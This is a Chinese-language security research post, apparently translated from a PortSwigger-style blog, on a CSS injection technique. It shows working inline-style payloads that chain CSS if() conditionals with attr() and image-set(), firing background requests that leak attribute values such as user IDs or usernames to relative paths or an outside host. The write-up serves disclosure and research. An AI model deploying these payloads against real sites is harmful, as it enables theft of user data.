内联样式数据窃取:利用链式CSS条件语句泄露数据
我发现了一种无需选择器和样式表导入即可使用CSS窃取属性数据的方法!这意味着现在可以通过style属性利用CSS注入漏洞!具体技术细节如下:
有人曾询问是否可以使用内联样式窃取数据。我最初否定了这个想法,但后来受到Slonser优秀技术的启发——利用attr()和image-set()函数从属性中窃取数据。该方法需要从指定域导入样式表才能窃取整个属性值。但这让我思考:如果不导入样式表呢?能否仅使用内联样式窃取数据?
CSS引入了if语句——没错,这个(非)编程语言现在支持条件判断。我确信可以利用这个特性检查属性值,并向任意域发起背景请求,而无需样式表导入。我开始构造攻击向量:
1
|
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
但该方法无效。随后Slonser发送了一个有效的代码片段,结果显示if语句比较必须使用双引号而非单引号:
1
|
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
CSS的语法特性真是独特!我习惯像JavaScript那样单双引号互换使用。现在我们可以通过背景请求和內联样式向任意域发起请求。但问题在于只能检查单个值——当然,这个(非)编程语言支持嵌套if语句!因此可以通过链式条件判断多个值,从而窃取非复杂数据(如用户ID或用户名):
1
|
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
上述示例可窃取data-uid属性值为1-10的数据。当您被困在style属性中需要窃取属性数据时,可以使用Burp Suite的Custom Action暴力破解所需值!请注意,本文撰写时该技术仅适用于Chromium内核浏览器。
以下是使用Burp Custom Action从data-username属性窃取用户名的演示代码:
1
|
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://portswigger.net/martin); else: if(style(--val:"zak"): url(https://portswigger.net/zak); else: url(https://portswigger.net/james))); background: image-set(var(--steal));' data-username="james"></div>
|
概念验证更新
Luke Jahnke指出无需url()语法即可发起背景请求,普通字符串即可实现。这意味着攻击向量可简化为:
1
|
<div style='--val:attr(title);--steal:if(style(--val:"1"): "/1"; else: "/2");background:image-set(var(--steal))' title=1>test</div>
|